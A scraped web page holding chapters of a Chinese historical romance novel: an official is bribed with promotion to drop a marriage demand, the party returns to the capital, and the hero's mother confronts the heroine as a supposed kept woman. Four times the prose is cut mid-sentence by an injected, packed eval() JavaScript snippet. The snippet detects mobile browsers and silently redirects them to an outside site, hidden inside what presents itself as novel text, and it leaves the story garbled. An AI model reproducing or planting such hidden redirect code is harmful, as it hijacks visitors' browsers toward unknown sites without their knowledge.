小妾见他发脾气,又不知自己如何得罪了他,虽泪水涟涟,却也不敢作声。 “滚回你自己屋里!”他气道。 自己怎就只顾着高兴,听了她的枕边风呢? 一个没见识的妾室,天天只想着她那点荣华富贵,什么进王府,什么成了皇亲,差点就被她害了! 他这样想着,坐下狂饮了一杯茶…… 无论如何,他也绝不会觉得是自己蠢,忘了王府世子妃姓什么。 “老爷,陈公子已在正堂等您。”下人来报。 张县令刚放下茶杯,气还没喘匀,听得陈衡又来了,不由皱了眉。 他那幺女,方才又说非陈衡不嫁。 为避免再犯下大错,他把陈衡的关系细细想了一遍。 不知怎的,想着想着,他便开始幻想起,将来他在官场同僚面前的风光来…… 一提到他是东宫太子殿下最看重的陈大人岳丈,同僚纷纷投来羡慕的目光,过年过节迎来送往,各种礼物纷至,还不时有人来求他,让帮忙跟女婿说情提携…… 这感觉实在是太好了! 好到他心中那一点惧怕得罪,也消散的无影无踪…… 柳相是得罪不起,这陈大人嘛……得罪一下也无妨! 打定主意,张禾便整理了官服,前往正堂与陈衡相见。 他远远看到陈衡那玉树临风之姿,绝非池中物,仿佛看到了自己的大好前程。 “陈大人!”张禾这一声叫得是满脸笑容,如沐春风。 陈衡却退后了一步。 虽两人同为东宫效力,他惯不喜与这种谄媚之人打交道。 “张大人,此次前来,我就有话直说。”他道。 张禾早已做好了准备,无论他说什么,自己都备有一套说辞,让他不得不娶自己的女儿。 他点头,请人上座,姿态是做足了低矮:“陈大人直言。” 陈衡也邀他一同坐了:“不知张大人在此做县令多久了?” 这是官场惯用的话,张禾一听就明白什么意思,立刻精神道:“不瞒大人说,下官三甲进士出身,初授这知县至今,已有十余载了。大人来此也看到了,本官治下方县如今也是井井有条,百姓安居乐业。” “如今本府同知,已年过花甲了吧,可有提过告老还乡?”陈衡斟酌道,“还是说张大人想进京?” 张禾岂会不知这话的意思,他顿时大喜过望,起身朝陈衡跪拜! “若陈大人能帮衬下官一把,我张禾——今后就是大人的人!任凭大人差遣!” “好。”陈衡应下,“待我回去就修书一封,张大人可静等走马上任的好消息。” “是是是!”他笑道,“既然我那小女要跟陈大人往京城去,我这做父亲的自然也不想天天记挂,就……也到京中任职,陈大人觉得如何?” 陈衡摇头,道:“张大人是误会本官的意思了。” “啊?”张禾大张了嘴,一时摸不着头脑。 难道这京城他是取不了?想来也是,京城大居不易,这陈大人说不准是要他到别处上任,有别的用意。 他忙道:“大人,不去京城也可,想我那小女也不是整日需要父母照拂的娇小姐。” “我家公子既然已愿提携大人,大人还提嫁女作甚!”予安眼力实足,将张禾扶了起来,凑到他耳边道,“我家公子实在是对秦姑娘情根深种,除了她再不愿娶别的女子为妻……不如大人就成全了我家公子?” 张禾这才脑子转过弯来。 没想到陈衡这种清流,向来不为金钱权势所动,却为了一个女子,舍了一身骄傲,竟敢拿官位来交换? 他不由将陈衡上下仔细打量了一遍:这真是……真是风流公子啊! 只犹豫了片刻,他便将女儿的事抛诸脑后:“君子从不夺人所好,大人用情至深,下官感动!若不成全,岂不显得下官棒打鸳鸯,拆散了一桩美事?” 陈衡微点了下头:“张大人真乃君子之风,我这就回去修书,还望大人准备好送我们出城。” 张禾激动应下。 “等等。”他又道,“大人稍等,下官书房里文房四宝俱全,不如大人随下官到书房?” 这人是颇有些小聪明,生怕陈衡回去后,不帮忙提携。 陈衡看出了他的意思,也未点破,随他去了书房,写下推荐信件,又当着他的面,给吏部着选官员的自己人写了一封信。 这一切打点妥当,张禾才放了人。 他也知陈衡与世子都是他的贵人,于是安排了马车,挑选了方县最好的骏马,又将车内布置的十分舒适。 之后瞒着妻女等一众内眷,悄悄把人全送走了。 也不知张巧儿小姐若一觉醒来,发现人不见了,又是他爹亲自送走的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057326|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,该如何哭闹。 不过这不是秦瑶该操心的。 这回她带着娇娇,与小桃等几位婢女一起坐了一辆马车。 莹秋自告奋勇,跑去前头马车伺候陈衡与世子。 除了雪香这个没长大的傻丫头,其他人都看穿了莹秋的心思。 小桃愤愤不平道:“公子都在众人跟前宣布您的身份了,那人怎么还敢动歪脑筋,您也不管管。” 秦瑶苦笑。 雪香和娇娇一脸好奇:“小桃姐姐,谁动歪脑筋啊?” 绿华倒是问:“秦姑娘您与公子一会儿真,一会儿假的,我都不知道该喊您夫人还是姑娘了!” 秦瑶差点回答。 她敏锐察觉到了这句话的试探之意,便笑了笑,不作声。 若她回答“姑娘”,那就暴露了她与陈衡还是假扮夫妻,这一路凶险,陈衡若不说解除这种假扮,她是万万不会自作聪明,将这身份摘出的。 若她回答“夫人”,将来两人关系暴露,不免被人嘲笑她有非分之想。 “我看应该叫太太!”娇娇认真道,“不都说那些做官的娘子才能称太太吗?既然我爹有官身,那我娘也该被称为太太!” “哼,一句‘太太’,都把人叫老了!”秦瑶道。 众人哄笑,这才把事糊弄了过去。 而另一辆马车里,世子对“陈衡如何说服张县令”这事十分好奇。 “我说陈兄。”他紧挨着陈衡,“陈大人!你到底跟张禾说了什么?他怎么那么轻易的就放过你了?” 他知道陈衡心有谋略,是个聪明人,不然太子也不会那么看重他。 于是他便想跟对方多学学,省得连世子妃都觉得自己是个草包。 陈衡自然不想理他。 予安兴致勃勃道:“我跟世子讲讲!当时,那张县令黑着脸,捋着自己的胡子,威逼道‘你必须娶我女儿,如若不然,我就让你们出不了方县!’……” “停停停!”世子不耐烦打断,“说重点!” 莹秋跪坐在一边,给各位倒了茶水,又拿了一杯稳稳送到陈衡面前:“公子,饮茶。” 她这一声柔情似水,眼里也是充满了爱意。 那马车偶尔轧到石子,晃一晃,她身子一软假装倒在陈衡身上,那手里的茶却是未滴出一滴。 在予安的高声讲述中,她含羞一笑,小声道:“公子,妾冒犯了。” 世子还在追问:“你废话少说行不行?本世子又不是傻子,那张禾敢如此对待陈兄,他是不想要他的乌纱帽了?” “正是如此!”予安大叫一声,“世子猜得不错,那张县令的确不想再在方县做县令了,所幸我们公子早已猜出了他心中所想,于是……他决定拿官位换美人!” 世子震惊了。 他又看了看陈衡,突然爆发出一阵大笑:“没想到啊,陈大人还会卖官?你竟为了秦姑娘,拒了婚事,还许了张禾那厮更高的官职!你等着,本世子回去就参你一本!” “咣当——”莹秋手里的玉杯滑落。 她这才听明白,陈公子竟然肯为了秦瑶,不惜毁了自己清流之身,做到这种地步? 50. 终于回京 马车疾驰。 在路上狂奔三天,期间还换了六匹马后,几人终于到达了世子妃所在地——许州。 许州城是个比江城还要大上一倍的城,只城门口排起的长队,一眼望不到头。 幸而世子妃早已派人蹲守城外,寻找世子。 “世子。”来人是常年跟在世子身边的暗卫,此时他一身百姓装扮,脸上还抹了泥,丝毫不见武人气质。 就连世子也是听声音才辨认出来。 “世子妃交代,让世子尽快回京。” 只这一句,众人便知许州不是该待的地方。 世子更是心中一惊,忙问:“世子妃呢?她为何不曾跟来?” “回世子,如今世子妃已陷城中,那知州严大人的夫人正款待世子妃,暂无危险,请世子勿忧。”他道。 “你的意思是,她出不来?却让我先走?”世子道。 那手下低头,虽无话,也是默认此意。 “这可如何使得?”世子急得绕着马车来来回回走,“陈兄,你说,我该怎么办才能把世子妃给弄出来!” 陈衡远远望见城门口正严加盘查,摇头道:“世子妃说得对,你该速速回京,搬救兵。” “不行啊!万一我前脚走了,后脚严笠抓不住人,把世子妃给……”他摆了摆手,“不行,万万不行!” “严笠此人,做事极为有分寸,世子所忧之事断然不会发生。”陈衡劝道。 眼看着队伍又前进了一大步。 世子绕马车又转了两圈,拐回来急切道:“不如陈兄先回京,我留下陪世子妃,你记得一回京就找我爹,让我爹进宫求见皇上,把我们给平安弄回去!” “不妥。”陈衡蹙眉,“若你此刻进去,岂不正中下怀?江城秦应抚不知在信里跟二皇子说了什么,看世子妃的样子,一定不是什么好话。” “对对对!”世子又踱步,抓耳挠腮,“万一那秦老贼说我投了东宫……” 他一时心中没底,他那二叔到底会不会信了秦贼。 可他又着实担心世子妃,怕她一个人在城里会被暗害。 “不如这样——”他停了脚步,将目光投向陈衡,“我假意投诚,进城跟严知州说你们的假路线。” “哦——”予安在一旁赞叹道,“这样既为我们拖延了时间,你和世子妃一时又能安全!” 世子扬起头,一副佩服自己如此聪明的样子。 他信陈衡既然当初选择把他一起救走,之后就不会抛下自己不管。 何况还有柳相。 秦瑶正下马车准备打探情况,听到这个主意,夸赞道:“世子高明。” 她回想了上一世,并未有什么皇室宗亲被斩杀或害死的传闻。 所以世子若执意进城,多半不会有危险。 陈衡本欲再劝,听秦瑶如此说,也不再多说什么。 “那就愿世子与世子妃一切顺利!”他道。 于是两人分道扬镳。 予安看着世子的背影,叹道:“世子与世子妃可真所谓‘伉俪情深’啊!我们家公子何时能有个这种人……” 陈衡瞪了他一眼,他立马闭了嘴。 几位婢女也羡慕起世子妃来。 就连秦瑶,也不禁对这个一向不靠谱的世子有了一些改观。 他虽平日里油嘴滑舌,对他的娘子却是极为看重的,甚至不惜以身涉险,也要陪着她。 几人目送他走远。 陈衡将其中一辆马车弃了,让两匹马共同拉一辆车,又给车夫结了帐。 接下来的路,他和予安当起了马夫,带着一车女眷上路。 想必世子的计划起了作用,这一路回京也不见有人再追踪,只不到一个月就顺利到达了京城。 * 向阳巷有一处宅子,前厅后院,占了三间瓦房,在京城的一众府邸中,虽不算气派,却也精致舒适。 陈衡正是在此处置办了家当,将众人安排进来。 这地方比江城沈宅他们住的院子还大,大家一时新鲜惊奇,个个高兴。 只有秦瑶,十分不喜。 “既然公子已有安排,我在此歇息两日,再做打算。”她避着人,小声道。 如今她手中有钱,便是再买一所宅子,养一些下人,也是绰绰有余。 陈衡并无反对,只因他这一回来,陈家的事,东宫的事都在等着他。 他将腰间玉牌取下:“若有事,就到城北陈府找我。门房见了这牌子自然明白,无需多言。” 这是块上好的羊脂玉,润白细腻,握在手里小巧玲珑。 秦瑶接过来时,玉身还带有被陈衡握在手中的温热。 陈衡见她放在手心,把玩认真,微张了张口,下定了决心道:“有空……” 我再来看你…… “公子!”予安打断了他,“收拾差不多了,我们回吧,想必陈府的人都等不及了,天天盼着您呐!” 陈衡将剩下的话吞进肚子里,冷冷瞥了他一眼:“知道了。” 见他要走,莹秋匆匆跑了过来。 自打那日她在马车里听了那些话,知道公子心中对秦瑶已是不一般了。 不过她并不打算放弃。 她的身份,是从不奢望能与秦瑶一争的,若能陪在公子身边,哪怕闲暇时他能拿自己逗乐解闷,她也是愿意的。 “公子要走?”她柔柔道,“听闻公子家中还有母亲大人需侍奉,莹秋愿随公子前去,替公子尽绵薄之力。” 在场的人谁又看不出她的心思? 予安瞧着她的侧脸,这女子长得也端正,给他们家公子做个小也还算合适,只可惜她心思太深…… 公子是惯不喜欢这种人的。 小桃见了,也嗤笑道:“找的理由倒是冠冕堂皇,不知道的还真以为你这么孝顺主人家呢!” 莹秋涨红了脸,斥道:“你又有何资格来说我?别忘了你当初做的那些事,正经人家的姑娘谁能做得出!” “我呸!”小桃自幼在农庄长大,学不会莹秋那种斯文,唾骂道,“我又不是那知人知面不知心的,想做什么事都摆在明面上!哪比得过你,整天在公子面前一副贤惠温顺样,到我们面前,那眼睛都快长额头上去了!” “你污蔑我!” “我哪点说的不对了?来来让大家都过来,问问她们我说的是不是实话!”说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068561|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着小桃就放声大叫起来,“玉蕊!绿华!雪香!快来!你们家大姐要去攀高枝了!” 听到院子里叫喊,几人纷纷放下手中的活,匆匆过来。 莹秋的眼泪都快流下来了。 她自小哪听过、见识过这种人。 她虽家道中落,可后来辗转卖去的几家都是书香门第,里头的人各个都未曾说过一句这种泼皮话。 秦瑶见状,忙让小桃快退下:“娇娇还在呢!” 小桃捂了嘴:“怪我,这让小姐听到学坏了,将来也要学着她的样子去攀高枝,那可不妙!” 听她明里暗里讥讽自己,莹秋终于忍不住,掉下泪来。 “公子,如今你是无论如何也要带我走!”她抽抽噎噎道,“反正我在这儿也是个祸害,惹得大家都不高兴!” 陈衡冷眼旁观,却打定主意要带她走。 这种人若留在秦瑶身边,的确不得安生。 不如送进陈府,让那些教养嬷嬷训诫一番。 玉蕊、绿华、雪香毕竟是与她一起买来的,看她要走,不由围了上去。 “莹秋姐姐,你就留下吧!”玉蕊劝道。 “小桃说话虽难听些,她也不是故意的。”雪香道。 莹秋忽地抬起她那双大眼,瞪着雪香:“你这话什么意思?她不是故意的,那就是我故意?” 绿华朝她翻了个白眼:“难不成你还真心思单纯的,要去服侍大夫人?” “你!你们诚心的,都不盼我好!”莹秋气得嘴唇直哆嗦。 这次轮到小桃在一旁看笑话了。 秦瑶给她使了个眼色,让她快把娇娇带进屋里去。 “好了!都别吵了!”秦瑶冷笑道,“谁去谁留全凭自愿,只是我先告诫各位,我这儿也不需要太多人照顾,留下的只一件事,顾好小姐!其他的随你们去!” 她也不想留太多人。 安顿好了以后,她打算带娇娇去左家寻亲。 留得这么多丫鬟在此,不免人多口杂,有些秘密让外人知道,又多了许多麻烦。 陈衡也想到了这一层,反正陈府也不是养不起丫鬟,便决定从这几个里边带走两人。 绿华看似稳重,玉蕊没什么坏心思,雪香还小,干活也出不了太大力,心思更看不出什么。 他暗自思索了片刻,决定把雪香也带走,留到母亲身边教养。 待几人都安排妥当,莹秋自然心满意足,她抹去眼泪,忍住得意之情。 只是雪香年纪小,人也胆小,一听要到陈府那陌生地方去,不由害怕。 可她也不敢反驳,只得默默收拾了东西,乖乖跟在莹秋身后。 玉蕊安慰她,陈夫人定是个慈爱的母亲,陈府一应吃喝也比这里好上许多,叫她放心去。 再说几个姐妹也不是从此后就不得相见。 这么劝慰了一番,雪香才放下心来,跟着去了。 只是众人都没想到,莹秋好手段,几天便把陈夫人哄得,她说什么都信。 莹秋自然也把陈衡在外置办宅子的事说与陈母听了。 当陈母听到这宅子里还住着个妇人,还带着个小女儿,更是坐不住了…… 51. 敢养外室 京城物华天宝,有各式各样的新鲜玩意儿,街头热闹,人头涌动,这些都是秦瑶在江城不曾见到的。 城里治安又极好,不止白天黑夜,都有官兵巡逻。 众人逃亡路上归来,此时皆放下了所有戒备,安心在城中住下。 如此游玩放松了几日,秦瑶便带娇娇出门,往左家去了。 侯府的门庭不难打听,她们一路走一路问,才发觉这些贵人们的府邸都集中在离皇城最近的巷子。 这巷子极宽,能并排走下四辆马车,在秦瑶看来这已不能称之为巷子了。 可它偏偏就叫玉带巷,只因这里全是府邸,无商业街铺。 街巷安静,过路人不多,大多是哪家马车来回进出。 每家大门前都有高高的台阶,台阶两侧站着一排家丁守卫。 秦瑶带着个孩子,在路上是极为引人注目,路过陈家的府邸,那守卫甚至还瞪了两人一眼,把娇娇吓得直往墙根下走。 “娘,我们必须去吗?”她懦懦道。 她一直很满意目前的生活,跟着秦瑶虽算不上衣食无忧,可日子却自由自在。 想起在江城张家赴宴时,遇到的那些端坐着不敢大声喘气的小姐们,她宁愿不回左家。 秦瑶拉住她的手。 她记得左家因常年征战,家中人口比不得其他王公贵族。 所以娇娇回去后,也过得十分好,那侯府老太君疼惜这个找回来的孙女儿,家里的各位哥嫂也不敢欺负了她。 “那是你的家,那里有你的家人,你不必惧怕。”她道。 上一世娇娇回去时,她的生母已逝,生父又远在边关,伯父早年间战死沙场,留下个常年不露面的遗孀。 这些年侯府一直由老太君坐镇,带着一众孙子辈生活。 娇娇只要得了老太君的认可,一切好说。 侯府高门紧闭,门前依旧是不苟言笑的守卫。 “这位大哥。”秦瑶拿出早已备好的拜帖,道,“烦请通报一下,我们从江城来寻亲的。” “寻亲?”那人上下打量了两人,戒备道,“寻什么亲?” 秦瑶留了个心眼,并未将娇娇的那块玉随拜帖一起留下。 “这位姐儿是左家小姐,名为娇娇,您告诉老太君,她一定知道!” 左娇娇是原名,府里人若听了,一定明白。 “走走走!”那人不耐烦挥着手,“什么左家小姐,这府里的小姐们各个都好着呢,从哪儿又冒出个小姐!” 另一人道:“骗子,撵走!骗到侯府来了!” 娇娇从脖领里扯出那块玉,鼓起勇气道:“我就是侯府小姐!” 秦瑶慌忙将她挡住,怕这些人把那块玉抢走,却没想到几个守卫根本看都不看。 “那块破玉就想来蒙骗侯府?还不快滚!” 看来侯府把这些人养得太饱了。 秦瑶并未再有进一步动作,此事还需从长计议。 上一世娇娇是因六年后琴技名扬江城,才有机会被左家的人认出。 这一世此法显然是用不上了。 她只得求助陈衡或世子妃,带她与侯府女眷认识,才有机会。 娇娇委屈,眼中憋满了泪水。 秦瑶带她先走:“这世间的事情,哪有那么容易,就算今日你被认了回去,往后不免遭受各路人马的质疑,若这点准备都没有,到时只知委屈哭啼,让他人有机可乘对付了你,可怎么办?” 娇娇擦了把眼泪:“娘,你就是我娘,我不想回左家!” “我又何尝舍得你?”秦瑶叹了口气,“你还小,跟着我只能做个普通百姓。你不知百姓在这世上,有多难。” “不难,娘也是个普通百姓,不也挣下一份家业?”她道。 秦瑶暗道,这一切也是托了上一世的福,想她上一世,到死都没享受过一天荣华富贵。 “你是侯府的小姐,身份高贵,回了侯府,尚有一息喘息。”她带娇娇回想着她们曾经历的一切,“记得翠儿吗?在村子里她和你一样大,却是个童养媳,每天一大早就要起来,把家里事情做好,伺候那一家子。” “还有黄氏绣庄的那些绣娘,你与她们相处了那么多日,她们哪一个不是家里送来,做那些绣活,给家中补贴银两的?” 这种事说不完。 更别提那些身世悲惨,无爹娘疼爱的女子。 人人都在这世上努力生存着。 可那些住在高门里的人,生来就拥有一切。 秦瑶不想用自己的想法,影响了娇娇,她需要自己去体会,自己去感受。 娇娇回忆着那些事,又回头望了望侯府的大门,问道:“那里边的人……我的兄长、我的姊妹,就不用努力吗?” 她又想到张府赴宴的那些小姐夫人,好像整日里只需抚琴作画,就能换得锦衣玉食。 若真是这样……仿佛也不错。 “他们也有他们要努力的。”秦瑶打破了她的幻想,“大家虽不愁吃穿,生来被人伺候,却也逃不开自己的责任。比如左家世代武将,你的父兄很小时就要上战场。” “他们就不能不上?”她好奇道。 “若不上战场,就会失去这高大的府邸,失去锦衣玉食的生活,甚至失去国家。”秦瑶牵着她出了这条威严的巷子,大街突然热闹,“国家战乱,所有人颠沛流离,这街市还如何像此时一样热闹?” 娇娇若有所思。 * 陈衡这两日忙得焦头烂额,回家的次数极少。 江城那边粮铺来了消息,因之前照秦瑶所说,与新搬来的金家搞好了关系,如今虽被府衙封了铺子,隔几日也有几车粮食运往金家,生意照样做。 金家又把沈老夫人接去照看,所以秦应抚封了沈宅时,那宅子已人去楼空。 今日一大早,陈衡又匆匆出门,去了东宫。 连着几日儿子早出晚归,不来请安,为此陈母已颇为不满。 她听说儿子带回的两个丫鬟,在江城一直跟在他身边,便把两人叫来问东问西。 雪香是个单纯的孩子,整天就只埋头做些家务,至于公子在江城做了什么,一问她就支支吾吾,说不清楚。 倒是莹秋,将陈衡每日在江城,何时起、何时睡,何时又练剑写字,描述得一清二楚。 听到农庄里的小桃和她娘叶氏,陈夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085551|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人相当感慨。 “是了,当初我是跟她提过,若她生下女儿,将来给我儿做通房。”她道。 叶氏是她的陪嫁丫鬟,却被留在江城嫁了人,再未随她回京城。 莹秋又说到小桃伺候公子沐浴,误将予安认成公子的事,逗得陈夫人大笑。 笑过之后,陈夫人想起自己儿子的婚配之事,不免问道:“你们公子在江城那么久,就不曾收个通房什么的?” 他还未婚,别闹出什么妾室私生子的事。 谁料提到这茬,莹秋却脸一红,闭了嘴不说了。 陈夫人立刻意识到,这是有这回事了! “莹秋,你快说!”她拍着心口,生怕自己一会儿吓到,又期望事情不大,见莹秋害羞,又试探道,“难道……他收了你?” “大夫人,这哪能!”莹秋矢口否认,“我们这些做丫鬟的,公子哪能看得上……” “那是谁?”陈夫人急道。 莹秋给雪香递了个眼色。 雪香自然未往他处想,只老实道:“回夫人,秦姑娘是个清白人家的女儿,她人可好啦,没一点做正室夫人的架子,虽然之前是与公子假扮的夫妻……” 陈夫人听得云里雾里。 “后来公子喜欢她,在方县就跟我们说了,她就是正室夫人,让我们好好伺候。”她也看不出陈夫人已满脸震惊,继续道,“还和她睡一处了!” “什么!”陈夫人从椅子上跳了起来,“正室?这这……这无媒苟合啊!” 莹秋小声提醒道:“好像……是有那么一纸婚书……” “婚书都有了?我儿竟敢如此大胆!不顾父母之命,私下……还有了婚书?”若不是有一群下人扶着,陈夫人早晕了过去。 莹秋努力忍着得意。 还有最后一击,若她知道那秦瑶还有个女儿…… 她假意安慰道:“夫人不必惊慌,这秦氏断做不了公子的正室。” 陈夫人从震惊中稳住了心神,问道:“此话怎讲?” 莹秋幸灾乐祸,笑着将手比在自己腰间:“只因她还有个那么大的女儿!” 陈夫人缓缓回味着这句话。 还有个女儿? 那肯定不能是儿子的! 这女子竟还是个二嫁女? 她沉默了半晌,道:“如此说来,这女儿的父亲是?” 莹秋摆了摆手:“谁知道,听说早死了,她守寡多年了。” 虽本朝寡妇二嫁也是常有的事,可在他们陈家,若寡妇进门,再带个小拖油瓶…… 岂不让全京城的富贵人家看了笑话! “那……你们公子回来,可把她们娘俩扔江城了?”陈夫人沉吟道,“若留在江城也好,这么远的距离,一年半载见不着的,慢慢就淡忘了……” 她只盼所有人都不知道陈衡曾纳过带孩子的寡妇! 雪香一时嘴快:“她们也来了,在公子的宅子住着呢!” 什么?她儿还瞒着她置了宅子? 刚压下去的怒火瞬间又烧了上来。 “那宅子在哪儿?”她气急,“还不快带我去?把人养在外边,这不是养外室是什么!” 52. 闹上门来 关于陈家,秦瑶从未打听过。 或者说她懒得打听。 陈母是借住在娘舅家,那大宅虽也是陈老太爷留下的祖业,可如今老一辈的都已不在,陈府自然由陈衡的舅父们做主。 若不是几位舅父疼惜这个被沈家欺压的幺妹,怎会让她带着儿子回来住下。 可惜陈母并没这种觉悟。 她把陈府还当自己家一样,摆足了小姐架子。 “马车呢?” 她带着一众丫鬟浩浩荡荡的出了府,却发现门口街巷里空空荡荡,不见马车踪影。 陈家各房的几个夫人是不能随意出府的,除非有别家相邀赴宴。 见小姑又出门了,府中女子们是又羡慕又嫉妒。 做寡妇做到这份上,着实不错了。 管家听说她要用马车,匆匆前来解释:“小姐,今日宫里好像出了大事,几位爷一大早全乘马车走了。” 听管家叫这一声“小姐”,陈母脸色稍好。 “你去别家借一辆,我有急事要出门。”她道。 管家瞅了瞅四周邻里的大门,不由苦着脸,这东西怎么好意思去借。 他只得道:“小姐稍等,我让小的们到车马行租一辆来。” 前门发生的事很快传到后院。 陈家当家主母不由气道:“租马车?让她自己出钱!每年得花公中多少银子,她倒不管不顾!京中哪家女儿不是夫君死了就二嫁,还有三嫁的!她倒在自己娘家过得舒心!” 这话也没人敢乱传给陈母知道。 只是租的马车一到,车夫便朝陈母要起了账:“这位夫人,烦请结一下账,这一趟下来不出城的话,是2两银子。” “二两?”陈母瞪圆了双眼,她哥哥们每月才给她五两银子,租辆马车就要花去快一半? 车夫笑道:“夫人请看,这马车比一般的更为宽敞,内饰也选用上好的料子,配以熏香,这马也是最上等的马。我敢说,全京城都找不出比这更好的马车!” 陈母顺着他的目光细细看去,果然,那车厢前的门帘都是雪白纱帐,乍一看还泛着闪闪银光,车内隐隐飘来一股沁人心脾的香味…… 她咽下到嘴边的话语,改口道:“管家,付账!” “啊?”管家一双黑眼珠转了又转,里头主母吩咐不让给钱,这可如何是好? 他略想了一下,自己要在陈府长久讨生活,他宁愿得罪这位说不定哪一天就再嫁的小姐。 “还等什么?”陈母瞥了他一眼,不悦道。 管家谄媚笑道:“这月公中银子有些紧缺,大爷已吩咐要查账,大额的支出暂不能动。不如小姐先用自己的钱结了,待理顺了账目,再让爷补给您。” 陈母心中纳闷,都这么多年了,府里从未查过账,她那好大嫂,不是管的井井有条吗? 她压下心中疑惑,让身边大丫鬟拿出银子结了帐。 管家松了口气,这才派了两个护院,跟着马车去。 几个丫鬟在陈母这儿是断然没有坐车资格的,只能也跟在马车两侧走路。 雪香不由跟莹秋偷偷抱怨,还是秦姑娘待她们好。 莹秋才懒得理她,只盯着马车两边垂下的穗子,心里想着哪一天自己也能拥有一辆这样的马车。 几人各怀心事,从玉带巷到达了平民居住的向阳巷。 向阳巷烟火气十足。 这家大娘坐在院门口晒太阳,那家大嫂逛街归来闲聊,还有敞开院门洗衣服往外泼水的,十分热闹。 甚至邻里讲话都不时传入耳中。 陈母纵是坐在马车里,也不禁皱了皱眉头。 唯一放心的,是这地方不似那风尘之人居住地。 “哎——那头空着的院子,搬来一个小娘子,你们知道吗?”有人闲聊道。 陈母忙将帘子掀开一角,竖起耳朵听。 “看她家当挺丰厚的,屋里光伺候她的丫鬟都三四个。” “我们这巷子,都是平民百姓,这要是大户人家的小姐什么的,怎么会来我们这儿住!” 这语气中带着说不清道不明的意味。 “拉倒吧,还小姐,没看她还带着一个小丫头?” “估摸着是哪家的妾?” “你见哪家的小妾在外边自立门户!我看啊,是那什么……私养的外室!” 几人放低了声音,哈哈笑道。 陈母顿觉脸上无光,她儿自小就十分有自己的主意,这养外室…… 他不是干不来啊! “快快,把马车停到临巷!”她吩咐。 这要让这些人见到马车停门口,还不得全来看热闹! 车夫得令,从巷子尽头拐了个弯,将马车停到墙根下不惹眼处。 陈母又等了一会儿,等到巷子里闲杂人少了,才堪堪下了车。 “走吧。”她叹了口气,“莹秋,你带路。” “夫人稍等。”她朝雪香使了个眼色,“你,先去敲门。” 她们这一行人直接到门口敲门,又得等上半天,难免被人瞧见。 陈母看莹秋越看越满意,觉得她做事十分周到。 若这丫鬟给儿子做个妾,也比那私养在外头的二嫁妇人好! 此时秦瑶刚带着娇娇回来,一杯茶还未饮完,就听到有人敲门。 她这宅子也算隐蔽,除了陈衡还没人知道这处地方。 这个时候更不会是陈衡来了。 她唤来小桃:“你从门缝看看,除了邻居这时也不会有人来拜访了。若不像邻居,断不可轻易开门。” 小桃点头,放轻了步子。 江城的事她不知怎样了,万一派来杀手…… 小桃透过门缝一瞧,是雪香那张熟悉的脸。 她松了口气,打开门:“你敲门也不知喊一声,吓我们一跳!” “嘘!”雪香一闪身,迅速钻了进来,“快去告诉娘子,陈家那夫人来了!” “谁?”小桃惊疑。 “公子的母亲!”雪香急道,“反正不是什么好事,她们让我先来敲门,这会儿见我进来,马上要来了,快!” 小桃立刻转身奔向屋内。 她刚把此事告诉秦瑶,门口就传来了声音:“人呢?我们陈家来人了,还不快出来?” 秦瑶让小桃把娇娇带到耳房,自己迎了出去。 陈母已年过四十,岁月却鲜少在她脸上留下痕迹。 想来她在自己的父兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093689|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家过得十分舒心,秦瑶看着她那张没什么皱纹的脸,暗想。 不过这容貌却与陈衡不太相似,想必他定是和父亲长得像一些。 陈母此刻也打量着秦瑶。 难怪儿子非要和她在一块儿! 她嗤笑,表情十分不屑,这天下的男子都喜欢漂亮女子,他儿子也不例外! 不过这女子穿着打扮也颇为素雅,身后也没丫鬟跟着,想必平日里是个低调节俭的人。 秦瑶还是礼貌朝她福身:“夫人好。” “你就是我儿养的外室?”陈母收回目光,高傲的仰起头。 听到这话,秦瑶也不生气,毕竟面前的是长辈。 她不卑不亢道:“夫人误会了,我初到京城,人生地不熟的,是陈公子好心留我借住几日,我寻好了住处就搬走。” 陈母又瞥了她一眼,心中嘀咕:到底是乡下来的,好没礼貌,在自己面前竟然不用“妾身”自称。 